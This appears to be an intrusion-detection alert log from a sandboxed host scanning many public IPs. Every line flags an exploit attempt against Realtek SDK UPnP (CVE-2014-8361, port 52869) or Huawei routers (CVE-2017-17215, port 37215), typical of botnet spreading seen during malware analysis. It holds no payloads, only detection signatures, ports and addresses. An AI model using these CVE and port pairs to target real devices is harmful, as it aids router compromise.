07/20/24-23:01:08.623583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35502	52869	192.168.2.23	111.160.194.136
07/20/24-23:01:44.636234	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50636	52869	192.168.2.23	31.246.229.175
07/20/24-23:01:51.021834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52308	52869	192.168.2.23	132.12.76.39
07/20/24-23:01:45.926465	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33854	52869	192.168.2.23	220.112.19.15
07/20/24-23:01:46.312083	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57364	52869	192.168.2.23	170.47.68.177
07/20/24-23:02:06.738802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59328	52869	192.168.2.23	12.160.102.240
07/20/24-23:01:50.001370	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36896	52869	192.168.2.23	96.24.157.5
07/20/24-23:01:11.634372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57382	37215	192.168.2.23	157.37.216.246
07/20/24-23:01:31.313383	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53670	52869	192.168.2.23	220.0.122.40
07/20/24-23:01:47.962852	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59642	52869	192.168.2.23	137.109.251.204
07/20/24-23:01:42.966322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55386	52869	192.168.2.23	118.209.219.113
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49214	37215	192.168.2.23	34.4.8.9
07/20/24-23:01:08.572790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39552	52869	192.168.2.23	129.167.170.254
07/20/24-23:01:47.644828	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45610	52869	192.168.2.23	75.3.82.5
07/20/24-23:01:57.787786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43082	52869	192.168.2.23	95.253.23.104
07/20/24-23:01:02.426129	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48472	52869	192.168.2.23	203.236.42.147
07/20/24-23:01:14.105908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50158	37215	192.168.2.23	41.59.235.147
07/20/24-23:01:24.934977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34426	37215	192.168.2.23	166.230.251.127
07/20/24-23:01:51.086033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59050	52869	192.168.2.23	193.18.125.219
07/20/24-23:01:08.581974	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34926	52869	192.168.2.23	38.47.147.236
07/20/24-23:01:45.202570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58744	52869	192.168.2.23	179.153.61.251
07/20/24-23:01:44.894921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55432	52869	192.168.2.23	193.19.81.156
07/20/24-23:01:47.201912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57420	52869	192.168.2.23	187.119.209.224
07/20/24-23:01:46.046177	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52732	52869	192.168.2.23	202.170.123.220
07/20/24-23:01:43.084243	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34282	52869	192.168.2.23	43.122.229.51
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54748	37215	192.168.2.23	82.113.201.213
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33966	37215	192.168.2.23	157.46.234.94
07/20/24-23:01:41.381812	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41288	52869	192.168.2.23	18.194.44.24
07/20/24-23:01:03.194002	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52936	52869	192.168.2.23	86.74.227.91
07/20/24-23:01:13.146648	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41232	52869	192.168.2.23	4.129.239.131
07/20/24-23:01:06.957274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40786	37215	192.168.2.23	157.246.19.232
07/20/24-23:01:24.934684	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56506	37215	192.168.2.23	41.195.231.185
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45192	37215	192.168.2.23	157.196.130.183
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37624	37215	192.168.2.23	41.245.116.58
07/20/24-23:01:11.816101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39610	37215	192.168.2.23	41.178.44.73
07/20/24-23:01:41.549051	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42536	52869	192.168.2.23	8.243.36.237
07/20/24-23:01:51.791706	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49938	52869	192.168.2.23	142.206.118.182
07/20/24-23:01:53.326732	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48686	52869	192.168.2.23	37.84.136.136
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46582	37215	192.168.2.23	157.238.18.41
07/20/24-23:01:04.064240	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44422	37215	192.168.2.23	157.131.49.54
07/20/24-23:01:09.055028	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54640	52869	192.168.2.23	207.223.182.162
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49432	37215	192.168.2.23	157.146.94.28
07/20/24-23:01:42.522141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38482	52869	192.168.2.23	93.78.34.12
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60644	37215	192.168.2.23	157.45.181.132
07/20/24-23:01:50.339110	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35216	52869	192.168.2.23	125.185.15.217
07/20/24-23:01:08.600679	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45328	52869	192.168.2.23	223.83.213.222
07/20/24-23:01:49.040108	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51954	52869	192.168.2.23	106.212.70.208
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38244	37215	192.168.2.23	159.73.26.136
07/20/24-23:01:43.450134	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50512	52869	192.168.2.23	223.103.54.206
07/20/24-23:02:13.454278	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53486	52869	192.168.2.23	219.135.178.135
07/20/24-23:01:55.076019	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38152	52869	192.168.2.23	123.227.205.159
07/20/24-23:01:41.417573	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42700	52869	192.168.2.23	163.18.131.94
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56588	37215	192.168.2.23	189.208.63.195
07/20/24-23:01:08.667964	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36898	52869	192.168.2.23	60.208.170.61
07/20/24-23:01:06.973541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36666	37215	192.168.2.23	197.26.127.58
07/20/24-23:01:42.062724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55200	52869	192.168.2.23	194.5.145.232
07/20/24-23:01:26.131973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39576	52869	192.168.2.23	24.238.134.176
07/20/24-23:02:02.954311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55666	52869	192.168.2.23	203.184.58.202
07/20/24-23:01:42.425705	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39430	52869	192.168.2.23	159.183.134.67
07/20/24-23:01:42.883774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50866	52869	192.168.2.23	139.92.32.15
07/20/24-23:01:45.148866	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33468	52869	192.168.2.23	210.80.122.96
07/20/24-23:01:14.105395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41286	37215	192.168.2.23	197.216.251.19
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56536	37215	192.168.2.23	157.178.65.214
07/20/24-23:01:43.906354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59750	52869	192.168.2.23	101.52.13.24
07/20/24-23:00:57.221190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42650	37215	192.168.2.23	47.7.162.229
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33680	37215	192.168.2.23	197.93.60.57
07/20/24-23:01:41.370646	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52726	52869	192.168.2.23	63.75.166.170
07/20/24-23:01:44.411586	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35022	52869	192.168.2.23	27.36.59.232
07/20/24-23:01:56.400580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57238	52869	192.168.2.23	140.234.5.119
07/20/24-23:01:46.808111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49806	52869	192.168.2.23	90.112.61.164
07/20/24-23:01:42.761962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37874	52869	192.168.2.23	180.231.223.193
07/20/24-23:01:47.443306	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51260	52869	192.168.2.23	41.3.232.51
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49544	37215	192.168.2.23	41.37.144.8
07/20/24-23:01:45.116897	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38352	52869	192.168.2.23	43.216.241.103
07/20/24-23:01:49.537827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59110	52869	192.168.2.23	182.29.32.245
07/20/24-23:02:28.464626	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52100	52869	192.168.2.23	36.136.49.118
07/20/24-23:01:51.056707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42318	52869	192.168.2.23	61.237.192.205
07/20/24-23:01:55.928013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48608	52869	192.168.2.23	79.113.232.226
07/20/24-23:01:41.416217	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43360	52869	192.168.2.23	32.178.44.200
07/20/24-23:01:43.177552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48212	52869	192.168.2.23	66.34.14.57
07/20/24-23:01:44.036421	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43156	52869	192.168.2.23	54.182.169.174
07/20/24-23:01:03.936204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50724	52869	192.168.2.23	184.77.18.239
07/20/24-23:01:14.060998	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53858	37215	192.168.2.23	113.162.26.155
07/20/24-23:01:27.677519	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34452	37215	192.168.2.23	128.19.87.235
07/20/24-23:01:46.019511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33072	52869	192.168.2.23	182.29.32.245
07/20/24-23:01:00.647695	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33984	37215	192.168.2.23	41.137.58.228
07/20/24-23:01:40.321965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42484	37215	192.168.2.23	157.226.115.171
07/20/24-23:01:42.699478	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35692	52869	192.168.2.23	158.36.226.221
07/20/24-23:01:06.990535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37940	37215	192.168.2.23	157.64.21.239
07/20/24-23:01:11.168553	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49246	52869	192.168.2.23	123.52.107.77
07/20/24-23:01:42.262354	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55938	52869	192.168.2.23	111.229.109.170
07/20/24-23:01:41.722161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51006	52869	192.168.2.23	169.160.238.67
07/20/24-23:00:59.153608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33028	37215	192.168.2.23	197.218.184.30
07/20/24-23:01:40.323034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35098	37215	192.168.2.23	157.22.220.5
07/20/24-23:02:00.725615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54942	52869	192.168.2.23	157.156.14.69
07/20/24-23:01:43.209467	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44154	52869	192.168.2.23	54.184.6.19
07/20/24-23:01:41.322613	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38218	52869	192.168.2.23	97.65.172.105
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45902	37215	192.168.2.23	197.209.84.96
07/20/24-23:01:01.313651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41252	52869	192.168.2.23	188.92.250.125
07/20/24-23:02:17.231770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47788	52869	192.168.2.23	84.123.73.220
07/20/24-23:01:44.520254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48396	52869	192.168.2.23	190.100.221.147
07/20/24-23:01:56.315740	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50866	52869	192.168.2.23	162.250.126.53
07/20/24-23:01:08.584507	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41676	52869	192.168.2.23	97.69.175.230
07/20/24-23:01:41.604763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38956	52869	192.168.2.23	114.149.101.121
07/20/24-23:01:58.880225	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48754	52869	192.168.2.23	49.65.211.106
07/20/24-23:01:44.756264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49984	52869	192.168.2.23	5.80.243.157
07/20/24-23:01:08.650213	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51888	52869	192.168.2.23	132.86.136.162
07/20/24-23:01:43.890780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48176	52869	192.168.2.23	139.2.152.124
07/20/24-23:01:45.196200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56512	52869	192.168.2.23	63.237.109.125
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50580	37215	192.168.2.23	157.5.129.59
07/20/24-23:01:31.314906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46844	52869	192.168.2.23	152.43.74.118
07/20/24-23:01:53.085271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48530	52869	192.168.2.23	143.107.137.70
07/20/24-23:01:03.143706	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38728	52869	192.168.2.23	25.222.87.118
07/20/24-23:01:20.600303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42888	52869	192.168.2.23	138.74.14.28
07/20/24-23:02:08.084136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57298	52869	192.168.2.23	180.20.148.220
07/20/24-23:01:00.645186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42260	37215	192.168.2.23	41.112.123.1
07/20/24-23:01:41.956473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42896	52869	192.168.2.23	182.86.228.100
07/20/24-23:02:14.728323	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48490	52869	192.168.2.23	212.231.201.227
07/20/24-23:01:31.331748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53304	52869	192.168.2.23	45.38.7.5
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59906	37215	192.168.2.23	140.34.44.126
07/20/24-23:01:27.653309	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51724	37215	192.168.2.23	1.38.182.72
07/20/24-23:01:42.670071	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35132	52869	192.168.2.23	106.204.29.126
07/20/24-23:01:44.446628	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59160	52869	192.168.2.23	91.15.191.58
07/20/24-23:00:59.153608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49226	37215	192.168.2.23	41.124.14.171
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55632	37215	192.168.2.23	157.78.46.190
07/20/24-23:01:53.354788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32794	52869	192.168.2.23	94.86.220.196
07/20/24-23:01:43.013771	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49614	52869	192.168.2.23	149.136.40.221
07/20/24-23:01:27.660099	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41862	37215	192.168.2.23	41.83.208.105
07/20/24-23:01:48.221889	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41782	52869	192.168.2.23	110.158.170.123
07/20/24-23:01:04.082384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52598	37215	192.168.2.23	157.189.59.211
07/20/24-23:01:09.021221	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47164	52869	192.168.2.23	221.226.241.204
07/20/24-23:01:40.279669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56928	37215	192.168.2.23	197.67.22.235
07/20/24-23:01:44.059102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44128	52869	192.168.2.23	147.163.143.195
07/20/24-23:01:24.943244	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42238	37215	192.168.2.23	197.88.128.116
07/20/24-23:01:42.434719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45008	52869	192.168.2.23	50.3.243.177
07/20/24-23:01:43.874054	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35300	52869	192.168.2.23	12.215.198.66
07/20/24-23:01:48.118060	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49534	52869	192.168.2.23	192.178.20.121
07/20/24-23:00:57.220937	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54222	37215	192.168.2.23	37.80.86.165
07/20/24-23:00:57.221727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55506	37215	192.168.2.23	157.6.221.99
07/20/24-23:01:49.775041	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48102	52869	192.168.2.23	75.33.175.78
07/20/24-23:01:04.601975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47382	52869	192.168.2.23	87.137.214.123
07/20/24-23:01:24.886284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56316	37215	192.168.2.23	197.12.62.22
07/20/24-23:01:42.485253	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54546	52869	192.168.2.23	194.5.145.232
07/20/24-23:01:41.290518	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39402	52869	192.168.2.23	53.176.94.191
07/20/24-23:01:03.060799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60402	52869	192.168.2.23	14.23.231.227
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53324	37215	192.168.2.23	197.124.214.37
07/20/24-23:01:43.918790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58112	52869	192.168.2.23	17.63.153.183
07/20/24-23:01:14.095462	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41082	37215	192.168.2.23	157.9.117.101
07/20/24-23:01:34.044538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58422	37215	192.168.2.23	197.183.243.219
07/20/24-23:01:25.974900	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39232	52869	192.168.2.23	84.102.198.205
07/20/24-23:01:04.049279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59072	37215	192.168.2.23	197.206.59.160
07/20/24-23:01:42.745085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33088	52869	192.168.2.23	192.59.76.250
07/20/24-23:01:44.469869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35636	52869	192.168.2.23	155.71.120.47
07/20/24-23:01:47.108019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33128	52869	192.168.2.23	124.217.174.35
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48232	37215	192.168.2.23	41.67.206.241
07/20/24-23:01:27.725851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59222	37215	192.168.2.23	197.46.153.191
07/20/24-23:01:44.142024	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58070	52869	192.168.2.23	156.254.5.127
07/20/24-23:01:48.047800	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33026	52869	192.168.2.23	63.140.14.0
07/20/24-23:01:44.052569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35926	52869	192.168.2.23	108.48.65.201
07/20/24-23:01:47.485617	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55016	52869	192.168.2.23	156.42.244.253
07/20/24-23:01:14.296756	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53070	37215	192.168.2.23	177.10.233.116
07/20/24-23:01:44.945909	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38854	52869	192.168.2.23	86.24.154.203
07/20/24-23:01:11.817297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60858	37215	192.168.2.23	41.198.81.15
07/20/24-23:01:57.720327	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49880	52869	192.168.2.23	70.7.126.6
07/20/24-23:01:47.163877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38452	52869	192.168.2.23	191.56.81.141
07/20/24-23:01:47.748808	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33308	52869	192.168.2.23	145.1.23.220
07/20/24-23:01:45.143033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37250	52869	192.168.2.23	57.114.247.43
07/20/24-23:02:04.476708	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55616	52869	192.168.2.23	181.63.38.118
07/20/24-23:01:49.741351	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42866	52869	192.168.2.23	155.107.33.68
